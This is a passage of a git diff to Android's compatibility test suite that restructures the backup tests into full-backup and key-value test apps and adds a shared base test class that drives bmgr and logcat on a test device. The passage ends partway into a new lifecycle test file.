+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsBackupTestCases
diff --git a/tests/backup/AndroidTest.xml b/tests/backup/AndroidTest.xml
index f292943..015f595 100644
--- a/tests/backup/AndroidTest.xml
+++ b/tests/backup/AndroidTest.xml
@@ -18,9 +18,14 @@
<option name="config-descriptor:metadata" key="component" value="backup" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsBackupApp.apk" />
+ <option name="test-file-name" value="CtsFullBackupApp.apk" />
+ <option name="test-file-name" value="CtsKeyValueBackupApp.apk" />
<option name="test-file-name" value="CtsBackupTestCases.apk" />
</target_preparer>
+ <target_preparer class="android.cts.backup.BackupPreparer">
+ <option name="enable-backup-if-needed" value="true" />
+ <option name="select-local-transport" value="true" />
+ </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.backup.cts" />
<option name="runtime-hint" value="8m20s" />
diff --git a/tests/backup/app/Android.mk b/tests/backup/app/Android.mk
index 8d7e3e9..cddf11e 100644
--- a/tests/backup/app/Android.mk
+++ b/tests/backup/app/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2016 The Android Open Source Project
+# Copyright (C) 2017 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -14,21 +14,4 @@
LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsBackupApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/backup/app/AndroidManifest.xml b/tests/backup/app/AndroidManifest.xml
deleted file mode 100644
index 1507bc2..0000000
--- a/tests/backup/app/AndroidManifest.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2016 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.backup.app" >
-
- <application
- android:allowBackup="true"
- android:backupAgent="BackupCtsBackupAgent"
- android:label="Android Backup CTS App"
- android:fullBackupOnly="true">
- <activity
- android:name=".MainActivity"
- android:label="Android Backup CTS App" >
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
- </application>
-</manifest>
diff --git a/tests/backup/app/fullbackup/Android.mk b/tests/backup/app/fullbackup/Android.mk
new file mode 100644
index 0000000..ac53252
--- /dev/null
+++ b/tests/backup/app/fullbackup/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_PACKAGE_NAME := CtsFullBackupApp
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ ctstestrunner
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/backup/app/fullbackup/AndroidManifest.xml b/tests/backup/app/fullbackup/AndroidManifest.xml
new file mode 100644
index 0000000..8161a95
--- /dev/null
+++ b/tests/backup/app/fullbackup/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2016 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.backup.app" >
+
+ <application
+ android:allowBackup="true"
+ android:backupAgent="FullBackupBackupAgent"
+ android:label="Android Backup CTS App"
+ android:fullBackupOnly="true">
+
+ <activity
+ android:name=".MainActivity"
+ android:label="Android Backup CTS App" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <receiver android:name=".WakeUpReceiver">
+ <intent-filter>
+ <action android:name="android.backup.app.ACTION_WAKE_UP" />
+ </intent-filter>
+ </receiver>
+
+ </application>
+</manifest>
diff --git a/tests/backup/app/keyvalue/Android.mk b/tests/backup/app/keyvalue/Android.mk
new file mode 100644
index 0000000..3c36f50
--- /dev/null
+++ b/tests/backup/app/keyvalue/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_PACKAGE_NAME := CtsKeyValueBackupApp
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ ctstestrunner
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/backup/app/keyvalue/AndroidManifest.xml b/tests/backup/app/keyvalue/AndroidManifest.xml
new file mode 100644
index 0000000..c99b4b4
--- /dev/null
+++ b/tests/backup/app/keyvalue/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2016 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.backup.kvapp" >
+
+ <application
+ android:allowBackup="true"
+ android:backupAgent="android.backup.app.KeyValueBackupAgent"
+ android:label="Android Key Value Backup CTS App">
+ <activity
+ android:name="android.backup.app.MainActivity"
+ android:label="Android Key Value Backup CTS App" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/tests/backup/app/src/android/backup/app/BackupCtsBackupAgent.java b/tests/backup/app/src/android/backup/app/BackupCtsBackupAgent.java
deleted file mode 100644
index f6fb8c1..0000000
--- a/tests/backup/app/src/android/backup/app/BackupCtsBackupAgent.java
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.backup.app;
-
-import android.app.backup.BackupAgent;
-import android.app.backup.BackupDataInput;
-import android.app.backup.BackupDataOutput;
-import android.app.backup.FullBackupDataOutput;
-import android.os.ParcelFileDescriptor;
-import android.util.Log;
-
-import java.io.IOException;
-
-/*
- * Backup agent for Backup CTS App.
- *
- * Logs callbacks into logcat.
- */
-public class BackupCtsBackupAgent extends BackupAgent {
-
- @Override
- public void onBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
- ParcelFileDescriptor newState) throws IOException {
- Log.d(MainActivity.TAG, "Backup requested");
- }
-
- @Override
- public void onRestore(BackupDataInput data, int appVersionCode,
- ParcelFileDescriptor newState) throws IOException {
- Log.d(MainActivity.TAG, "Restore requested");
- }
-
- @Override
- public void onFullBackup(FullBackupDataOutput data) throws IOException {
- Log.d(MainActivity.TAG, "Full backup requested");
- super.onFullBackup(data);
- }
-
- @Override
- public void onQuotaExceeded(long backupDataBytes, long quotaBytes) {
- Log.d(MainActivity.TAG, "Quota exceeded!");
- }
-}
diff --git a/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java b/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java
new file mode 100644
index 0000000..8535344
--- /dev/null
+++ b/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.app;
+
+import android.app.backup.BackupAgent;
+import android.app.backup.BackupDataInput;
+import android.app.backup.BackupDataOutput;
+import android.app.backup.FullBackupDataOutput;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import java.io.File;
+import java.io.IOException;
+
+/*
+ * Full Backup agent for Backup CTS App.
+ *
+ * Logs callbacks into logcat.
+ */
+public class FullBackupBackupAgent extends BackupAgent {
+
+ @Override
+ public void onCreate() {
+ Log.d(MainActivity.TAG, "onCreate");
+ }
+
+ @Override
+ public void onBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
+ ParcelFileDescriptor newState) throws IOException {
+ throw new IllegalStateException("unexpected onBackup");
+ }
+
+ @Override
+ public void onRestore(BackupDataInput data, int appVersionCode,
+ ParcelFileDescriptor newState) throws IOException {
+ throw new IllegalStateException("unexpected onRestore");
+ }
+
+ @Override
+ public void onRestoreFile(ParcelFileDescriptor data, long size,
+ File destination, int type, long mode, long mtime) throws IOException {
+ Log.d(MainActivity.TAG, "onRestoreFile " + destination);
+ super.onRestoreFile(data, size, destination, type, mode, mtime);
+ }
+
+ @Override
+ public void onFullBackup(FullBackupDataOutput data) throws IOException {
+ Log.d(MainActivity.TAG, "Full backup requested, quota is " + data.getQuota());
+ super.onFullBackup(data);
+ }
+
+ @Override
+ public void onQuotaExceeded(long backupDataBytes, long quotaBytes) {
+ Log.d(MainActivity.TAG, "Quota exceeded!");
+ }
+
+ @Override
+ public void onRestoreFinished() {
+ Log.d(MainActivity.TAG, "onRestoreFinished");
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(MainActivity.TAG, "onDestroy");
+ }
+
+}
diff --git a/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java b/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java
new file mode 100644
index 0000000..155d8f9
--- /dev/null
+++ b/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.app;
+
+import android.app.backup.BackupAgent;
+import android.app.backup.BackupDataInput;
+import android.app.backup.BackupDataOutput;
+import android.app.backup.FullBackupDataOutput;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+
+/*
+ * Key Value Backup agent for Backup CTS App.
+ *
+ * Logs callbacks into logcat.
+ */
+public class KeyValueBackupAgent extends BackupAgent {
+
+ @Override
+ public void onCreate() {
+ Log.d(MainActivity.TAG, "onCreate");
+ }
+
+ @Override
+ public void onBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
+ ParcelFileDescriptor newState) throws IOException {
+ Log.d(MainActivity.TAG, "Backup requested, quota is " + data.getQuota());
+
+ // Always backup the entire file
+ File testFile = new File(getFilesDir(), MainActivity.FILE_NAME);
+ Log.d(MainActivity.TAG, "Writing " + testFile.length());
+
+ data.writeEntityHeader(MainActivity.FILE_NAME, (int) testFile.length());
+ byte[] buffer = new byte[4096];
+ try (FileInputStream input = new FileInputStream(testFile)) {
+ int read;
+ while ((read = input.read(buffer)) >= 0) {
+ data.writeEntityData(buffer, read);
+ }
+ }
+ }
+
+ @Override
+ public void onRestore(BackupDataInput data, int appVersionCode,
+ ParcelFileDescriptor newState) throws IOException {
+ Log.d(MainActivity.TAG, "Restore requested");
+ }
+
+ @Override
+ public void onRestoreFile(ParcelFileDescriptor data, long size,
+ File destination, int type, long mode, long mtime) throws IOException {
+ throw new IllegalStateException("unexpected onRestoreFile");
+ }
+
+ @Override
+ public void onFullBackup(FullBackupDataOutput data) throws IOException {
+ throw new IllegalStateException("unexpected onFullBackup");
+ }
+
+ @Override
+ public void onQuotaExceeded(long backupDataBytes, long quotaBytes) {
+ Log.d(MainActivity.TAG, "Quota exceeded!");
+ }
+
+ @Override
+ public void onRestoreFinished() {
+ Log.d(MainActivity.TAG, "onRestoreFinished");
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(MainActivity.TAG, "onDestroy");
+ }
+
+}
diff --git a/tests/backup/app/src/android/backup/app/MainActivity.java b/tests/backup/app/src/android/backup/app/MainActivity.java
index 93c6dd6..3127a56 100644
--- a/tests/backup/app/src/android/backup/app/MainActivity.java
+++ b/tests/backup/app/src/android/backup/app/MainActivity.java
@@ -40,8 +40,8 @@
*/
public class MainActivity extends Activity {
public static final String TAG = "BackupCTSApp";
+ public static final String FILE_NAME = "file_name";
- private static final String FILE_NAME = "file_name";
private static final String FILE_SIZE_EXTRA = "file_size";
private static final int DATA_CHUNK_SIZE = 1024 * 1024;
@@ -60,6 +60,7 @@
} else {
Log.d(TAG, "No file size was provided");
}
+ finish();
}
private void createFile(int size) throws IOException {
diff --git a/tests/backup/app/src/android/backup/app/WakeUpReceiver.java b/tests/backup/app/src/android/backup/app/WakeUpReceiver.java
new file mode 100644
index 0000000..10a9360
--- /dev/null
+++ b/tests/backup/app/src/android/backup/app/WakeUpReceiver.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.app;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/*
+ * Broadcast receiver pinged in order to make sure the app progressed from
+ * the stopped state after being installed, so that backup can be done.
+ */
+public class WakeUpReceiver extends BroadcastReceiver {
+
+ private static final String TAG = "WakeUpReceiver";
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.d(TAG, "android.backup.app should no longer be in the stopped state");
+ }
+}
diff --git a/tests/backup/src/android/backup/cts/BackupQuotaTest.java b/tests/backup/src/android/backup/cts/BackupQuotaTest.java
deleted file mode 100644
index 0493993..0000000
--- a/tests/backup/src/android/backup/cts/BackupQuotaTest.java
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.backup.cts;
-
-import android.app.Instrumentation;
-import android.content.pm.PackageManager;
-import android.os.ParcelFileDescriptor;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import java.io.BufferedReader;
-import java.io.FileInputStream;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.nio.charset.StandardCharsets;
-import java.util.concurrent.TimeUnit;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Verifies receiving quotaExceeded() callback on full backup.
- *
- * Uses test app that creates large file and receives the callback.
- * {@link com.android.internal.backup.LocalTransport} is used, it has size quota 25MB.
- */
-public class BackupQuotaTest extends InstrumentationTestCase {
- private static final String APP_LOG_TAG = "BackupCTSApp";
-
- private static final String LOCAL_TRANSPORT =
- "android/com.android.internal.backup.LocalTransport";
- private static final int LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE = 30 * 1024 * 1024;
- private static final String BACKUP_APP_NAME = "android.backup.app";
-
- private static final int SMALL_LOGCAT_DELAY = 1000;
-
- private boolean isBackupSupported;
- private boolean wasBackupEnabled;
- private String oldTransport;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- PackageManager packageManager = getInstrumentation().getContext().getPackageManager();
- isBackupSupported = packageManager != null
- && packageManager.hasSystemFeature(PackageManager.FEATURE_BACKUP);
- if (!isBackupSupported) {
- return;
- }
- // Enable backup and select local backup transport
- assertTrue("LocalTransport should be available.", hasBackupTransport(LOCAL_TRANSPORT));
- wasBackupEnabled = enableBackup(true);
- oldTransport = setBackupTransport(LOCAL_TRANSPORT);
- }
-
- @Override
- protected void tearDown() throws Exception {
- // Return old transport
- if (isBackupSupported) {
- setBackupTransport(oldTransport);
- enableBackup(wasBackupEnabled);
- }
- super.tearDown();
- }
-
- public void testQuotaExceeded() throws Exception {
- if (!isBackupSupported) {
- return;
- }
- exec("logcat --clear");
- exec("setprop log.tag." + APP_LOG_TAG +" VERBOSE");
- // Launch test app and create file exceeding limit for local transport
- exec("am start -W -a android.intent.action.MAIN " +
- "-c android.intent.category.LAUNCHER " +
- "-n " + BACKUP_APP_NAME + "/" + BACKUP_APP_NAME +".MainActivity " +
- "-e file_size " + LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
- assertTrue("File was not created", waitForLogcat("File created!", 30));
-
- // Request backup and wait for quota exceeded event in logcat
- exec("bmgr backupnow " + BACKUP_APP_NAME);
- assertTrue("Quota exceeded event is not received", waitForLogcat("Quota exceeded!", 10));
- }
-
- private boolean enableBackup(boolean enable) throws Exception {
- boolean previouslyEnabled;
- String output = exec("bmgr enabled");
- Pattern pattern = Pattern.compile("^Backup Manager currently (enabled|disabled)$");
- Matcher matcher = pattern.matcher(output.trim());
- if (matcher.find()) {
- previouslyEnabled = "enabled".equals(matcher.group(1));
- } else {
- throw new RuntimeException("non-parsable output setting bmgr enabled: " + output);
- }
-
- exec("bmgr enable " + enable);
- return previouslyEnabled;
- }
-
- private String setBackupTransport(String transport) throws Exception {
- String output = exec("bmgr transport " + transport);
- Pattern pattern = Pattern.compile("\\(formerly (.*)\\)$");
- Matcher matcher = pattern.matcher(output);
- if (matcher.find()) {
- return matcher.group(1);
- } else {
- throw new RuntimeException("non-parsable output setting bmgr transport: " + output);
- }
- }
-
- private boolean hasBackupTransport(String transport) throws Exception {
- String output = exec("bmgr list transports");
- for (String t : output.split(" ")) {
- if (transport.equals(t)) {
- return true;
- }
- }
- return false;
- }
-
- private boolean waitForLogcat(String logcatString, int maxTimeoutInSeconds) throws Exception {
- long timeout = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(maxTimeoutInSeconds);
- while (timeout >= System.currentTimeMillis()) {
- FileInputStream fis = executeStreamedShellCommand(getInstrumentation(),
- "logcat -v brief -d " + APP_LOG_TAG + ":* *:S");
- BufferedReader log = new BufferedReader(new InputStreamReader(fis));
- String line;
- while ((line = log.readLine()) != null) {
- if (line.contains(logcatString)) {
- return true;
- }
- }
- closeQuietly(log);
- // In case the key has not been found, wait for the log to update before
- // performing the next search.
- Thread.sleep(SMALL_LOGCAT_DELAY);
- }
- return false;
- }
-
- private String exec(String command) throws Exception {
- BufferedReader br = null;
- try (InputStream in = executeStreamedShellCommand(getInstrumentation(), command)) {
- br = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8));
- String str = null;
- StringBuilder out = new StringBuilder();
- while ((str = br.readLine()) != null) {
- out.append(str);
- }
- return out.toString();
- }
- }
-
- private static FileInputStream executeStreamedShellCommand(Instrumentation instrumentation,
- String command) throws Exception {
- final ParcelFileDescriptor pfd =
- instrumentation.getUiAutomation().executeShellCommand(command);
- return new ParcelFileDescriptor.AutoCloseInputStream(pfd);
- }
-
- private static void closeQuietly(AutoCloseable closeable) {
- if (closeable != null) {
- try {
- closeable.close();
- } catch (RuntimeException rethrown) {
- throw rethrown;
- } catch (Exception ignored) {
- }
- }
- }
-}
diff --git a/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
new file mode 100644
index 0000000..bbd0d26
--- /dev/null
+++ b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts;
+
+import android.app.Instrumentation;
+import android.content.pm.PackageManager;
+import android.os.ParcelFileDescriptor;
+import android.test.InstrumentationTestCase;
+
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;
+import java.util.UUID;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Base class for backup instrumentation tests.
+ *
+ * Ensures that backup is enabled and local transport selected, and provides some utility methods.
+ */
+public class BaseBackupCtsTest extends InstrumentationTestCase {
+ private static final String APP_LOG_TAG = "BackupCTSApp";
+
+ private static final String LOCAL_TRANSPORT =
+ "android/com.android.internal.backup.LocalTransport";
+
+ private static final int SMALL_LOGCAT_DELAY = 1000;
+
+ private boolean isBackupSupported;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ PackageManager packageManager = getInstrumentation().getContext().getPackageManager();
+ isBackupSupported = packageManager != null
+ && packageManager.hasSystemFeature(PackageManager.FEATURE_BACKUP);
+
+ if (isBackupSupported) {
+ assertTrue("Backup not enabled", isBackupEnabled());
+ assertTrue("LocalTransport not selected", isLocalTransportSelected());
+ exec("setprop log.tag." + APP_LOG_TAG +" VERBOSE");
+ }
+ }
+
+ public boolean isBackupSupported() {
+ return isBackupSupported;
+ }
+
+ private boolean isBackupEnabled() throws Exception {
+ String output = exec("bmgr enabled");
+ return output.contains("currently enabled");
+ }
+
+ private boolean isLocalTransportSelected() throws Exception {
+ String output = exec("bmgr list transports");
+ return output.contains("* " + LOCAL_TRANSPORT);
+ }
+
+ /**
+ * Attempts to clear logcat.
+ *
+ * Clearing logcat is known to be unreliable, so this methods also output a unique separator
+ * that can be used to find this point in the log even if clearing failed.
+ * @return a unique separator string
+ * @throws Exception
+ */
+ protected String clearLogcat() throws Exception {
+ exec("logcat -c");
+ String uniqueString = ":::" + UUID.randomUUID().toString();
+ exec("log -t " + APP_LOG_TAG + " " + uniqueString);
+ return uniqueString;
+ }
+
+ /**
+ * Wait for up to maxTimeoutInSeconds for the given strings to appear in the logcat in the given order.
+ * By passing the separator returned by {@link #clearLogcat} as the first string you can ensure that only
+ * logs emitted after that call to clearLogcat are found.
+ *
+ * @throws AssertionError if the strings are not found in the given time.
+ */
+ protected void waitForLogcat(int maxTimeoutInSeconds, String... logcatStrings)
+ throws Exception {
+ long timeout = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(maxTimeoutInSeconds);
+ int stringIndex = 0;
+ while (timeout >= System.currentTimeMillis()) {
+ FileInputStream fis = executeStreamedShellCommand(getInstrumentation(),
+ "logcat -v brief -d " + APP_LOG_TAG + ":* *:S");
+ BufferedReader log = new BufferedReader(new InputStreamReader(fis));
+ String line;
+ stringIndex = 0;
+ while ((line = log.readLine()) != null) {
+ if (line.contains(logcatStrings[stringIndex])) {
+ stringIndex++;
+ if (stringIndex >= logcatStrings.length) {
+ drainAndClose(log);
+ return;
+ }
+ }
+ }
+ closeQuietly(log);
+ // In case the key has not been found, wait for the log to update before
+ // performing the next search.
+ Thread.sleep(SMALL_LOGCAT_DELAY);
+ }
+ fail("Couldn't find " + logcatStrings[stringIndex] +
+ (stringIndex > 0 ? " after " + logcatStrings[stringIndex - 1] : "") +
+ " within " + maxTimeoutInSeconds + " seconds ");
+ }
+
+ protected void createTestFileOfSize(String packageName, int size) throws Exception {
+ exec("am start -a android.intent.action.MAIN " +
+ "-c android.intent.category.LAUNCHER " +
+ "-n " + packageName + "/android.backup.app.MainActivity " +
+ "-e file_size " + size);
+ waitForLogcat(30, "File created!");
+ }
+
+ protected String exec(String command) throws Exception {
+ try (InputStream in = executeStreamedShellCommand(getInstrumentation(), command)) {
+ BufferedReader br = new BufferedReader(
+ new InputStreamReader(in, StandardCharsets.UTF_8));
+ String str;
+ StringBuilder out = new StringBuilder();
+ while ((str = br.readLine()) != null) {
+ out.append(str);
+ }
+ return out.toString();
+ }
+ }
+
+ private static FileInputStream executeStreamedShellCommand(Instrumentation instrumentation,
+ String command) throws Exception {
+ final ParcelFileDescriptor pfd =
+ instrumentation.getUiAutomation().executeShellCommand(command);
+ return new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+ }
+
+ private static void drainAndClose(BufferedReader reader) {
+ try {
+ while (reader.read() >= 0) {
+ // do nothing.
+ }
+ } catch (IOException ignored) {
+ }
+ closeQuietly(reader);
+ }
+
+ private static void closeQuietly(AutoCloseable closeable) {
+ if (closeable != null) {
+ try {
+ closeable.close();
+ } catch (RuntimeException rethrown) {
+ throw rethrown;
+ } catch (Exception ignored) {
+ }
+ }
+ }
+}
diff --git a/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
new file mode 100644
index 0000000..beefa01
--- /dev/null
+++ b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts;
+
+/**
+ * Verifies that key methods are called in expected order during backup / restore.
+ */
